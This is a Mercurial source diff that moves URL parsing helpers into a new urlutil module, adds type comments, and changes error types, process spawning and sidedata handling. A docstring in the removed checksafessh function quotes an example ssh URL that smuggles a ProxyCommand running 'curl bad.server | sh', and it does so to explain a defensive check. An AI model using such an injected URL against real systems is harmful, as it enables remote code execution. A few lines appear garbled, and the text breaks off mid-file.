to be indexed by @@ -2592,16 +2619,19 @@ def readfile(path): + # type: (bytes) -> bytes with open(path, b'rb') as fp: return fp.read() def writefile(path, text): + # type: (bytes, bytes) -> None with open(path, b'wb') as fp: fp.write(text) def appendfile(path, text): + # type: (bytes, bytes) -> None with open(path, b'ab') as fp: fp.write(text) @@ -2763,6 +2793,7 @@ def processlinerange(fromline, toline): + # type: (int, int) -> Tuple[int, int] """Check that linerange : makes sense and return a 0-based range. @@ -2822,10 +2853,12 @@ def tolf(s): + # type: (bytes) -> bytes return _eolre.sub(b'\n', s) def tocrlf(s): + # type: (bytes) -> bytes return _eolre.sub(b'\r\n', s) @@ -2889,12 +2922,14 @@ def iterlines(iterator): + # type: (Iterator[bytes]) -> Iterator[bytes] for chunk in iterator: for line in chunk.splitlines(): yield line def expandpath(path): + # type: (bytes) -> bytes return os.path.expanduser(os.path.expandvars(path)) @@ -2924,396 +2959,52 @@ return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) -def getport(port): - """Return the port for a given network service. - - If port is an integer, it's returned as is. If it's a string, it's - looked up using socket.getservbyname(). If there's no matching - service, error.Abort is raised. - """ - try: - return int(port) - except ValueError: - pass - - try: - return socket.getservbyname(pycompat.sysstr(port)) - except socket.error: - raise error.Abort( - _(b"no port number associated with service '%s'") % port - ) - - -class url(object): - r"""Reliable URL parser. - - This parses URLs and provides attributes for the following - components: - - ://:@:/?# - - Missing components are set to None. The only exception is - fragment, which is set to '' if present but empty. - - If parsefragment is False, fragment is included in query. If - parsequery is False, query is included in path. If both are - False, both fragment and query are included in path. - - See http://www.ietf.org/rfc/rfc2396.txt for more information. - - Note that for backward compatibility reasons, bundle URLs do not - take host names. That means 'bundle://../' has a path of '../'. - - Examples: - - >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') - - >>> url(b'ssh://[::1]:2200//home/joe/repo') - - >>> url(b'file:///home/joe/repo') - - >>> url(b'file:///c:/temp/foo/') - - >>> url(b'bundle:foo') - - >>> url(b'bundle://../foo') - - >>> url(br'c:\foo\bar') - - >>> url(br'\\blah\blah\blah') - - >>> url(br'\\blah\blah\blah#baz') - - >>> url(br'file:///C:\users\me') - - - Authentication credentials: - - >>> url(b'ssh://joe:xyz@x/repo') - - >>> url(b'ssh://joe@x/repo') - - - Query strings and fragments: - - >>> url(b'http://host/a?b#c') - - >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) - - - Empty path: - - >>> url(b'') - - >>> url(b'#a') - - >>> url(b'http://host/') - - >>> url(b'http://host/#a') - - - Only scheme: - - >>> url(b'http:') - - """ - - _safechars = b"!~*'()+" - _safepchars = b"/!~*'()+:\\" - _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match - - def __init__(self, path, parsequery=True, parsefragment=True): - # We slowly chomp away at path until we have only the path left - self.scheme = self.user = self.passwd = self.host = None - self.port = self.path = self.query = self.fragment = None - self._localpath = True - self._hostport = b'' - self._origpath = path - - if parsefragment and b'#' in path: - path, self.fragment = path.split(b'#', 1) - - # special case for Windows drive letters and UNC paths - if hasdriveletter(path) or path.startswith(b'\\\\'): - self.path = path - return - - # For compatibility reasons, we can't handle bundle paths as - # normal URLS - if path.startswith(b'bundle:'): - self.scheme = b'bundle' - path = path[7:] - if path.startswith(b'//'): - path = path[2:] - self.path = path - return - - if self._matchscheme(path): - parts = path.split(b':', 1) - if parts[0]: - self.scheme, path = parts - self._localpath = False - - if not path: - path = None - if self._localpath: - self.path = b'' - return - else: - if self._localpath: - self.path = path - return - - if parsequery and b'?' in path: - path, self.query = path.split(b'?', 1) - if not path: - path = None - if not self.query: - self.query = None - - # // is required to specify a host/authority - if path and path.startswith(b'//'): - parts = path[2:].split(b'/', 1) - if len(parts) > 1: - self.host, path = parts - else: - self.host = parts[0] - path = None - if not self.host: - self.host = None - # path of file:///d is /d - # path of file:///d:/ is d:/, not /d:/ - if path and not hasdriveletter(path): - path = b'/' + path - - if self.host and b'@' in self.host: - self.user, self.host = self.host.rsplit(b'@', 1) - if b':' in self.user: - self.user, self.passwd = self.user.split(b':', 1) - if not self.host: - self.host = None - - # Don't split on colons in IPv6 addresses without ports - if ( - self.host - and b':' in self.host - and not ( - self.host.startswith(b'[') and self.host.endswith(b']') - ) - ): - self._hostport = self.host - self.host, self.port = self.host.rsplit(b':', 1) - if not self.host: - self.host = None - - if ( - self.host - and self.scheme == b'file' - and self.host not in (b'localhost', b'127.0.0.1', b'[::1]') - ): - raise error.Abort( - _(b'file:// URLs can only refer to localhost') - ) - - self.path = path - - # leave the query string escaped - for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'): - v = getattr(self, a) - if v is not None: - setattr(self, a, urlreq.unquote(v)) - - @encoding.strmethod - def __repr__(self): - attrs = [] - for a in ( - b'scheme', - b'user', - b'passwd', - b'host', - b'port', - b'path', - b'query', - b'fragment', - ): - v = getattr(self, a) - if v is not None: - attrs.append(b'%s: %r' % (a, pycompat.bytestr(v))) - return b'' % b', '.join(attrs) - - def __bytes__(self): - r"""Join the URL's components back into a URL string. - - Examples: - - >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) - 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' - >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) - 'http://user:pw@host:80/?foo=bar&baz=42' - >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) - 'http://user:pw@host:80/?foo=bar%3dbaz' - >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) - 'ssh://user:pw@[::1]:2200//home/joe#' - >>> bytes(url(b'http://localhost:80//')) - 'http://localhost:80//' - >>> bytes(url(b'http://localhost:80/')) - 'http://localhost:80/' - >>> bytes(url(b'http://localhost:80')) - 'http://localhost:80/' - >>> bytes(url(b'bundle:foo')) - 'bundle:foo' - >>> bytes(url(b'bundle://../foo')) - 'bundle:../foo' - >>> bytes(url(b'path')) - 'path' - >>> bytes(url(b'file:///tmp/foo/bar')) - 'file:///tmp/foo/bar' - >>> bytes(url(b'file:///c:/tmp/foo/bar')) - 'file:///c:/tmp/foo/bar' - >>> print(url(br'bundle:foo\bar')) - bundle:foo\bar - >>> print(url(br'file:///D:\data\hg')) - file:///D:\data\hg - """ - if self._localpath: - s = self.path - if self.scheme == b'bundle': - s = b'bundle:' + s - if self.fragment: - s += b'#' + self.fragment - return s - - s = self.scheme + b':' - if self.user or self.passwd or self.host: - s += b'//' - elif self.scheme and ( - not self.path - or self.path.startswith(b'/') - or hasdriveletter(self.path) - ): - s += b'//' - if hasdriveletter(self.path): - s += b'/' - if self.user: - s += urlreq.quote(self.user, safe=self._safechars) - if self.passwd: - s += b':' + urlreq.quote(self.passwd, safe=self._safechars) - if self.user or self.passwd: - s += b'@' - if self.host: - if not (self.host.startswith(b'[') and self.host.endswith(b']')): - s += urlreq.quote(self.host) - else: - s += self.host - if self.port: - s += b':' + urlreq.quote(self.port) - if self.host: - s += b'/' - if self.path: - # TODO: similar to the query string, we should not unescape the - # path when we store it, the path might contain '%2f' = '/', - # which we should *not* escape. - s += urlreq.quote(self.path, safe=self._safepchars) - if self.query: - # we store the query in escaped form. - s += b'?' + self.query - if self.fragment is not None: - s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars) - return s - - __str__ = encoding.strmethod(__bytes__) - - def authinfo(self): - user, passwd = self.user, self.passwd - try: - self.user, self.passwd = None, None - s = bytes(self) - finally: - self.user, self.passwd = user, passwd - if not self.user: - return (s, None) - # authinfo[1] is passed to urllib2 password manager, and its - # URIs must not contain credentials. The host is passed in the - # URIs list because Python < 2.4.3 uses only that to search for - # a password. - return (s, (None, (s, self.host), self.user, self.passwd or b'')) - - def isabs(self): - if self.scheme and self.scheme != b'file': - return True # remote URL - if hasdriveletter(self.path): - return True # absolute for our purposes - can't be joined() - if self.path.startswith(br'\\'): - return True # Windows UNC path - if self.path.startswith(b'/'): - return True # POSIX-style - return False - - def localpath(self): - if self.scheme == b'file' or self.scheme == b'bundle': - path = self.path or b'/' - # For Windows, we need to promote hosts containing drive - # letters to paths with drive letters. - if hasdriveletter(self._hostport): - path = self._hostport + b'/' + self.path - elif ( - self.host is not None and self.path and not hasdriveletter(path) - ): - path = b'/' + path - return path - return self._origpath - - def islocal(self): - '''whether localpath will return something that posixfile can open''' - return ( - not self.scheme - or self.scheme == b'file' - or self.scheme == b'bundle' - ) - - -def hasscheme(path): - return bool(url(path).scheme) - - -def hasdriveletter(path): - return path and path[1:2] == b':' and path[0:1].isalpha() - - -def urllocalpath(path): - return url(path, parsequery=False, parsefragment=False).localpath() - - -def checksafessh(path): - """check if a path / url is a potentially unsafe ssh exploit (SEC) - - This is a sanity check for ssh urls. ssh will parse the first item as - an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. - Let's prevent these potentially exploited urls entirely and warn the - user. - - Raises an error.Abort when the url is unsafe. - """ - path = urlreq.unquote(path) - if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): - raise error.Abort( - _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) - ) - - -def hidepassword(u): - '''hide user credential in a url string''' - u = url(u) - if u.passwd: - u.passwd = b'***' - return bytes(u) - - -def removeauth(u): - '''remove all authentication information from a url string''' - u = url(u) - u.user = u.passwd = None - return bytes(u) +def getport(*args, **kwargs): + msg = b'getport(...) moved to mercurial.utils.urlutil' + nouideprecwarn(msg, b'6.0', stacklevel=2) + return urlutil.getport(*args, **kwargs) + + +def url(*args, **kwargs): + msg = b'url(...) moved to mercurial.utils.urlutil' + nouideprecwarn(msg, b'6.0', stacklevel=2) + return urlutil.url(*args, **kwargs) + + +def hasscheme(*args, **kwargs): + msg = b'hasscheme(...) moved to mercurial.utils.urlutil' + nouideprecwarn(msg, b'6.0', stacklevel=2) + return urlutil.hasscheme(*args, **kwargs) + + +def hasdriveletter(*args, **kwargs): + msg = b'hasdriveletter(...) moved to mercurial.utils.urlutil' + nouideprecwarn(msg, b'6.0', stacklevel=2) + return urlutil.hasdriveletter(*args, **kwargs) + + +def urllocalpath(*args, **kwargs): + msg = b'urllocalpath(...) moved to mercurial.utils.urlutil' + nouideprecwarn(msg, b'6.0', stacklevel=2) + return urlutil.urllocalpath(*args, **kwargs) + + +def checksafessh(*args, **kwargs): + msg = b'checksafessh(...) moved to mercurial.utils.urlutil' + nouideprecwarn(msg, b'6.0', stacklevel=2) + return urlutil.checksafessh(*args, **kwargs) + + +def hidepassword(*args, **kwargs): + msg = b'hidepassword(...) moved to mercurial.utils.urlutil' + nouideprecwarn(msg, b'6.0', stacklevel=2) + return urlutil.hidepassword(*args, **kwargs) + + +def removeauth(*args, **kwargs): + msg = b'removeauth(...) moved to mercurial.utils.urlutil' + nouideprecwarn(msg, b'6.0', stacklevel=2) + return urlutil.removeauth(*args, **kwargs) timecount = unitcountfn( @@ -3415,6 +3106,7 @@ def sizetoint(s): + # type: (bytes) -> int """Convert a space specifier to a byte count. >>> sizetoint(b'30') @@ -3640,6 +3332,7 @@ def _estimatememory(): + # type: () -> Optional[int] """Provide an estimate for the available system memory in Bytes. If no estimate can be provided on the platform, returns None. @@ -3647,7 +3340,12 @@ if pycompat.sysplatform.startswith(b'win'): # On Windows, use the GlobalMemoryStatusEx kernel function directly. from ctypes import c_long as DWORD, c_ulonglong as DWORDLONG - from ctypes.wintypes import Structure, byref, sizeof, windll + from ctypes.wintypes import ( # pytype: disable=import-error + Structure, + byref, + sizeof, + windll, + ) class MEMORYSTATUSEX(Structure): _fields_ = [ diff -r bc268ea9f984 -r f67b8946bb1b mercurial/utils/compression.py --- a/mercurial/utils/compression.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/utils/compression.py Tue Apr 20 11:01:06 2021 -0400 @@ -685,9 +685,11 @@ # while providing no worse compression. It strikes a good balance # between speed and compression. level = opts.get(b'level', 3) + # default to single-threaded compression + threads = opts.get(b'threads', 0) zstd = self._module - z = zstd.ZstdCompressor(level=level).compressobj() + z = zstd.ZstdCompressor(level=level, threads=threads).compressobj() for chunk in it: data = z.compress(chunk) if data: diff -r bc268ea9f984 -r f67b8946bb1b mercurial/utils/dateutil.py --- a/mercurial/utils/dateutil.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/utils/dateutil.py Tue Apr 20 11:01:06 2021 -0400 @@ -18,6 +18,18 @@ pycompat, ) +if pycompat.TYPE_CHECKING: + from typing import ( + Callable, + Dict, + Iterable, + Optional, + Tuple, + Union, + ) + + hgdate = Tuple[float, int] # (unixtime, offset) + # used by parsedate defaultdateformats = ( b'%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601 @@ -62,13 +74,16 @@ def makedate(timestamp=None): + # type: (Optional[float]) -> hgdate """Return a unix timestamp (or the current time) as a (unixtime, offset) tuple based off the local timezone.""" if timestamp is None: timestamp = time.time() if timestamp < 0: hint = _(b"check your clock") - raise error.Abort(_(b"negative timestamp: %d") % timestamp, hint=hint) + raise error.InputError( + _(b"negative timestamp: %d") % timestamp, hint=hint + ) delta = datetime.datetime.utcfromtimestamp( timestamp ) - datetime.datetime.fromtimestamp(timestamp) @@ -77,6 +92,7 @@ def datestr(date=None, format=b'%a %b %d %H:%M:%S %Y %1%2'): + # type: (Optional[hgdate], bytes) -> bytes """represent a (unixtime, offset) tuple as a localized time. unixtime is seconds since the epoch, and offset is the time zone's number of seconds away from UTC. @@ -114,11 +130,13 @@ def shortdate(date=None): + # type: (Optional[hgdate]) -> bytes """turn (timestamp, tzoff) tuple into iso 8631 date.""" return datestr(date, format=b'%Y-%m-%d') def parsetimezone(s): + # type: (bytes) -> Tuple[Optional[int], bytes] """find a trailing timezone, if any, in string, and return a (offset, remainder) pair""" s = pycompat.bytestr(s) @@ -154,6 +172,7 @@ def strdate(string, format, defaults=None): + # type: (bytes, bytes, Optional[Dict[bytes, Tuple[bytes, bytes]]]) -> hgdate """parse a localized time string and return a (unixtime, offset) tuple. if the string cannot be parsed, ValueError is raised.""" if defaults is None: @@ -196,6 +215,7 @@ def parsedate(date, formats=None, bias=None): + # type: (Union[bytes, hgdate], Optional[Iterable[bytes]], Optional[Dict[bytes, bytes]]) -> hgdate """parse a localized date/time and return a (unixtime, offset) tuple. The date may be a "unixtime offset" string or in one of the specified @@ -221,8 +241,11 @@ bias = {} if not date: return 0, 0 - if isinstance(date, tuple) and len(date) == 2: - return date + if isinstance(date, tuple): + if len(date) == 2: + return date + else: + raise error.ProgrammingError(b"invalid date format") if not formats: formats = defaultdateformats date = date.strip() @@ -282,6 +305,7 @@ def matchdate(date): + # type: (bytes) -> Callable[[float], bool] """Return a function that matches a given date match specifier Formats include: @@ -311,10 +335,12 @@ """ def lower(date): + # type: (bytes) -> float d = {b'mb': b"1", b'd': b"1"} return parsedate(date, extendeddateformats, d)[0] def upper(date): + # type: (bytes) -> float d = {b'mb': b"12", b'HI': b"23", b'M': b"59", b'S': b"59"} for days in (b"31", b"30", b"29"): try: @@ -328,24 +354,26 @@ date = date.strip() if not date: - raise error.Abort(_(b"dates cannot consist entirely of whitespace")) + raise error.InputError( + _(b"dates cannot consist entirely of whitespace") + ) elif date[0:1] == b"<": if not date[1:]: - raise error.Abort(_(b"invalid day spec, use '": if not date[1:]: - raise error.Abort(_(b"invalid day spec, use '>DATE'")) + raise error.InputError(_(b"invalid day spec, use '>DATE'")) when = lower(date[1:]) return lambda x: x >= when elif date[0:1] == b"-": try: days = int(date[1:]) except ValueError: - raise error.Abort(_(b"invalid day spec: %s") % date[1:]) + raise error.InputError(_(b"invalid day spec: %s") % date[1:]) if days < 0: - raise error.Abort( + raise error.InputError( _(b"%s must be nonnegative (see 'hg help dates')") % date[1:] ) when = makedate()[0] - days * 3600 * 24 diff -r bc268ea9f984 -r f67b8946bb1b mercurial/utils/procutil.py --- a/mercurial/utils/procutil.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/utils/procutil.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,7 +1,7 @@ # procutil.py - utility for managing processes and executable environment # # Copyright 2005 K. Thananchayan -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # Copyright 2006 Vadim Gelfer # # This software may be used and distributed according to the terms of the @@ -701,7 +701,88 @@ else: - def runbgcommand( + def runbgcommandpy3( + cmd, + env, + shell=False, + stdout=None, + stderr=None, + ensurestart=True, + record_wait=None, + stdin_bytes=None, + ): + """Spawn a command without waiting for it to finish. + + + When `record_wait` is not None, the spawned process will not be fully + detached and the `record_wait` argument will be called with a the + `Subprocess.wait` function for the spawned process. This is mostly + useful for developers that need to make sure the spawned process + finished before a certain point. (eg: writing test)""" + if pycompat.isdarwin: + # avoid crash in CoreFoundation in case another thread + # calls gui() while we're calling fork(). + gui() + + if shell: + script = cmd + else: + if isinstance(cmd, bytes): + cmd = [cmd] + script = b' '.join(shellquote(x) for x in cmd) + if record_wait is None: + # double-fork to completely detach from the parent process + script = b'( %s ) &' % script + start_new_session = True + else: + start_new_session = False + ensurestart = True + + try: + if stdin_bytes is None: + stdin = subprocess.DEVNULL + else: + stdin = pycompat.unnamedtempfile() + stdin.write(stdin_bytes) + stdin.flush() + stdin.seek(0) + if stdout is None: + stdout = subprocess.DEVNULL + if stderr is None: + stderr = subprocess.DEVNULL + + p = subprocess.Popen( + script, + shell=True, + env=env, + close_fds=True, + stdin=stdin, + stdout=stdout, + stderr=stderr, + start_new_session=start_new_session, + ) + except Exception: + if record_wait is not None: + record_wait(255) + raise + finally: + if stdin_bytes is not None: + stdin.close() + if not ensurestart: + # Even though we're not waiting on the child process, + # we still must call waitpid() on it at some point so + # it's not a zombie/defunct. This is especially relevant for + # chg since the parent process won't die anytime soon. + # We use a thread to make the overhead tiny. + t = threading.Thread(target=lambda: p.wait) + t.daemon = True + t.start() + else: + returncode = p.wait + if record_wait is not None: + record_wait(returncode) + + def runbgcommandpy2( cmd, env, shell=False, @@ -811,3 +892,14 @@ stdin.close() if record_wait is None: os._exit(returncode) + + if pycompat.ispy3: + # This branch is more robust, because it avoids running python + # code (hence gc finalizers, like sshpeer.__del__, which + # blocks). But we can't easily do the equivalent in py2, + # because of the lack of start_new_session=True flag. Given + # that the py2 branch should die soon, the short-lived + # duplication seems acceptable. + runbgcommand = runbgcommandpy3 + else: + runbgcommand = runbgcommandpy2 diff -r bc268ea9f984 -r f67b8946bb1b mercurial/utils/resourceutil.py --- a/mercurial/utils/resourceutil.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/utils/resourceutil.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,7 +1,7 @@ # resourceutil.py - utility for looking up resources # # Copyright 2005 K. Thananchayan -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # Copyright 2006 Vadim Gelfer # # This software may be used and distributed according to the terms of the diff -r bc268ea9f984 -r f67b8946bb1b mercurial/utils/storageutil.py --- a/mercurial/utils/storageutil.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/utils/storageutil.py Tue Apr 20 11:01:06 2021 -0400 @@ -23,6 +23,7 @@ pycompat, ) from ..interfaces import repository +from ..revlogutils import sidedata as sidedatamod from ..utils import hashutil _nullhash = hashutil.sha1(nullid) @@ -294,6 +295,7 @@ deltamode=repository.CG_DELTAMODE_STD, revisiondata=False, assumehaveparentrevisions=False, + sidedata_helpers=None, ): """Generic implementation of ifiledata.emitrevisions(). @@ -356,6 +358,21 @@ ``nodesorder`` ``revisiondata`` ``assumehaveparentrevisions`` + ``sidedata_helpers`` (optional) + If not None, means that sidedata should be included. + A dictionary of revlog type to tuples of `(repo, computers, removers)`: + * `repo` is used as an argument for computers + * `computers` is a list of `(category, (keys, computer)` that + compute the missing sidedata categories that were asked: + * `category` is the sidedata category + * `keys` are the sidedata keys to be affected + * `computer` is the function `(repo, store, rev, sidedata)` that + returns a new sidedata dict. + * `removers` will remove the keys corresponding to the categories + that are present, but not needed. + If both `computers` and `removers` are empty, sidedata are simply not + transformed. + Revlog types are `changelog`, `manifest` or `filelog`. """ fnode = store.node @@ -469,6 +486,17 @@ available.add(rev) + sidedata = None + if sidedata_helpers: + sidedata = store.sidedata(rev) + sidedata = run_sidedata_helpers( + store=store, + sidedata_helpers=sidedata_helpers, + sidedata=sidedata, + rev=rev, + ) + sidedata = sidedatamod.serialize_sidedata(sidedata) + yield resultcls( node=node, p1node=fnode(p1rev), @@ -478,11 +506,31 @@ baserevisionsize=baserevisionsize, revision=revision, delta=delta, + sidedata=sidedata, ) prevrev = rev +def run_sidedata_helpers(store, sidedata_helpers, sidedata, rev): + """Returns the sidedata for the given revision after running through + the given helpers. + - `store`: the revlog this applies to (changelog, manifest, or filelog + instance) + - `sidedata_helpers`: see `storageutil.emitrevisions` + - `sidedata`: previous sidedata at the given rev, if any + - `rev`: affected rev of `store` + """ + repo, sd_computers, sd_removers = sidedata_helpers + kind = store.revlog_kind + for _keys, sd_computer in sd_computers.get(kind, []): + sidedata = sd_computer(repo, store, rev, sidedata) + for keys, _computer in sd_removers.get(kind, []): + for key in keys: + sidedata.pop(key, None) + return sidedata + + def deltaiscensored(delta, baserev, baselenfn): """Determine if a delta represents censored revision data. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/utils/stringutil.py --- a/mercurial/utils/stringutil.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/utils/stringutil.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,7 +1,7 @@ # stringutil.py - utility for generic string formatting, parsing, etc. # # Copyright 2005 K. Thananchayan -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # Copyright 2006 Vadim Gelfer # # This software may be used and distributed according to the terms of the diff -r bc268ea9f984 -r f67b8946bb1b mercurial/utils/urlutil.py --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/mercurial/utils/urlutil.py Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,792 @@ +# utils.urlutil - code related to [paths] management +# +# Copyright 2005-2021 Olivia Mackall and others +# +# This software may be used and distributed according to the terms of the +# GNU General Public License version 2 or any later version. +import os +import re as remod +import socket + +from ..i18n import _ +from ..pycompat import ( + getattr, + setattr, +) +from .. import ( + encoding, + error, + pycompat, + urllibcompat, +) + + +if pycompat.TYPE_CHECKING: + from typing import ( + Union, + ) + +urlreq = urllibcompat.urlreq + + +def getport(port): + # type: (Union[bytes, int]) -> int + """Return the port for a given network service. + + If port is an integer, it's returned as is. If it's a string, it's + looked up using socket.getservbyname(). If there's no matching + service, error.Abort is raised. + """ + try: + return int(port) + except ValueError: + pass + + try: + return socket.getservbyname(pycompat.sysstr(port)) + except socket.error: + raise error.Abort( + _(b"no port number associated with service '%s'") % port + ) + + +class url(object): + r"""Reliable URL parser. + + This parses URLs and provides attributes for the following + components: + + ://:@:/?# + + Missing components are set to None. The only exception is + fragment, which is set to '' if present but empty. + + If parsefragment is False, fragment is included in query. If + parsequery is False, query is included in path. If both are + False, both fragment and query are included in path. + + See http://www.ietf.org/rfc/rfc2396.txt for more information. + + Note that for backward compatibility reasons, bundle URLs do not + take host names. That means 'bundle://../' has a path of '../'. + + Examples: + + >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') + + >>> url(b'ssh://[::1]:2200//home/joe/repo') + + >>> url(b'file:///home/joe/repo') + + >>> url(b'file:///c:/temp/foo/') + + >>> url(b'bundle:foo') + + >>> url(b'bundle://../foo') + + >>> url(br'c:\foo\bar') + + >>> url(br'\\blah\blah\blah') + + >>> url(br'\\blah\blah\blah#baz') + + >>> url(br'file:///C:\users\me') + + + Authentication credentials: + + >>> url(b'ssh://joe:xyz@x/repo') + + >>> url(b'ssh://joe@x/repo') + + + Query strings and fragments: + + >>> url(b'http://host/a?b#c') + + >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) + + + Empty path: + + >>> url(b'') + + >>> url(b'#a') + + >>> url(b'http://host/') + + >>> url(b'http://host/#a') + + + Only scheme: + + >>> url(b'http:') + + """ + + _safechars = b"!~*'()+" + _safepchars = b"/!~*'()+:\\" + _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match + + def __init__(self, path, parsequery=True, parsefragment=True): + # type: (bytes, bool, bool) -> None + # We slowly chomp away at path until we have only the path left + self.scheme = self.user = self.passwd = self.host = None + self.port = self.path = self.query = self.fragment = None + self._localpath = True + self._hostport = b'' + self._origpath = path + + if parsefragment and b'#' in path: + path, self.fragment = path.split(b'#', 1) + + # special case for Windows drive letters and UNC paths + if hasdriveletter(path) or path.startswith(b'\\\\'): + self.path = path + return + + # For compatibility reasons, we can't handle bundle paths as + # normal URLS + if path.startswith(b'bundle:'): + self.scheme = b'bundle' + path = path[7:] + if path.startswith(b'//'): + path = path[2:] + self.path = path + return + + if self._matchscheme(path): + parts = path.split(b':', 1) + if parts[0]: + self.scheme, path = parts + self._localpath = False + + if not path: + path = None + if self._localpath: + self.path = b'' + return + else: + if self._localpath: + self.path = path + return + + if parsequery and b'?' in path: + path, self.query = path.split(b'?', 1) + if not path: + path = None + if not self.query: + self.query = None + + # // is required to specify a host/authority + if path and path.startswith(b'//'): + parts = path[2:].split(b'/', 1) + if len(parts) > 1: + self.host, path = parts + else: + self.host = parts[0] + path = None + if not self.host: + self.host = None + # path of file:///d is /d + # path of file:///d:/ is d:/, not /d:/ + if path and not hasdriveletter(path): + path = b'/' + path + + if self.host and b'@' in self.host: + self.user, self.host = self.host.rsplit(b'@', 1) + if b':' in self.user: + self.user, self.passwd = self.user.split(b':', 1) + if not self.host: + self.host = None + + # Don't split on colons in IPv6 addresses without ports + if ( + self.host + and b':' in self.host + and not ( + self.host.startswith(b'[') and self.host.endswith(b']') + ) + ): + self._hostport = self.host + self.host, self.port = self.host.rsplit(b':', 1) + if not self.host: + self.host = None + + if ( + self.host + and self.scheme == b'file' + and self.host not in (b'localhost', b'127.0.0.1', b'[::1]') + ): + raise error.Abort( + _(b'file:// URLs can only refer to localhost') + ) + + self.path = path + + # leave the query string escaped + for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'): + v = getattr(self, a) + if v is not None: + setattr(self, a, urlreq.unquote(v)) + + def copy(self): + u = url(b'temporary useless value') + u.path = self.path + u.scheme = self.scheme + u.user = self.user + u.passwd = self.passwd + u.host = self.host + u.path = self.path + u.query = self.query + u.fragment = self.fragment + u._localpath = self._localpath + u._hostport = self._hostport + u._origpath = self._origpath + return u + + @encoding.strmethod + def __repr__(self): + attrs = [] + for a in ( + b'scheme', + b'user', + b'passwd', + b'host', + b'port', + b'path', + b'query', + b'fragment', + ): + v = getattr(self, a) + if v is not None: + attrs.append(b'%s: %r' % (a, pycompat.bytestr(v))) + return b'' % b', '.join(attrs) + + def __bytes__(self): + r"""Join the URL's components back into a URL string. + + Examples: + + >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) + 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' + >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) + 'http://user:pw@host:80/?foo=bar&baz=42' + >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) + 'http://user:pw@host:80/?foo=bar%3dbaz' + >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) + 'ssh://user:pw@[::1]:2200//home/joe#' + >>> bytes(url(b'http://localhost:80//')) + 'http://localhost:80//' + >>> bytes(url(b'http://localhost:80/')) + 'http://localhost:80/' + >>> bytes(url(b'http://localhost:80')) + 'http://localhost:80/' + >>> bytes(url(b'bundle:foo')) + 'bundle:foo' + >>> bytes(url(b'bundle://../foo')) + 'bundle:../foo' + >>> bytes(url(b'path')) + 'path' + >>> bytes(url(b'file:///tmp/foo/bar')) + 'file:///tmp/foo/bar' + >>> bytes(url(b'file:///c:/tmp/foo/bar')) + 'file:///c:/tmp/foo/bar' + >>> print(url(br'bundle:foo\bar')) + bundle:foo\bar + >>> print(url(br'file:///D:\data\hg')) + file:///D:\data\hg + """ + if self._localpath: + s = self.path + if self.scheme == b'bundle': + s = b'bundle:' + s + if self.fragment: + s += b'#' + self.fragment + return s + + s = self.scheme + b':' + if self.user or self.passwd or self.host: + s += b'//' + elif self.scheme and ( + not self.path + or self.path.startswith(b'/') + or hasdriveletter(self.path) + ): + s += b'//' + if hasdriveletter(self.path): + s += b'/' + if self.user: + s += urlreq.quote(self.user, safe=self._safechars) + if self.passwd: + s += b':' + urlreq.quote(self.passwd, safe=self._safechars) + if self.user or self.passwd: + s += b'@' + if self.host: + if not (self.host.startswith(b'[') and self.host.endswith(b']')): + s += urlreq.quote(self.host) + else: + s += self.host + if self.port: + s += b':' + urlreq.quote(self.port) + if self.host: + s += b'/' + if self.path: + # TODO: similar to the query string, we should not unescape the + # path when we store it, the path might contain '%2f' = '/', + # which we should *not* escape. + s += urlreq.quote(self.path, safe=self._safepchars) + if self.query: + # we store the query in escaped form. + s += b'?' + self.query + if self.fragment is not None: + s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars) + return s + + __str__ = encoding.strmethod(__bytes__) + + def authinfo(self): + user, passwd = self.user, self.passwd + try: + self.user, self.passwd = None, None + s = bytes(self) + finally: + self.user, self.passwd = user, passwd + if not self.user: + return (s, None) + # authinfo[1] is passed to urllib2 password manager, and its + # URIs must not contain credentials. The host is passed in the + # URIs list because Python < 2.4.3 uses only that to search for + # a password. + return (s, (None, (s, self.host), self.user, self.passwd or b'')) + + def isabs(self): + if self.scheme and self.scheme != b'file': + return True # remote URL + if hasdriveletter(self.path): + return True # absolute for our purposes - can't be joined() + if self.path.startswith(br'\\'): + return True # Windows UNC path + if self.path.startswith(b'/'): + return True # POSIX-style + return False + + def localpath(self): + # type: () -> bytes + if self.scheme == b'file' or self.scheme == b'bundle': + 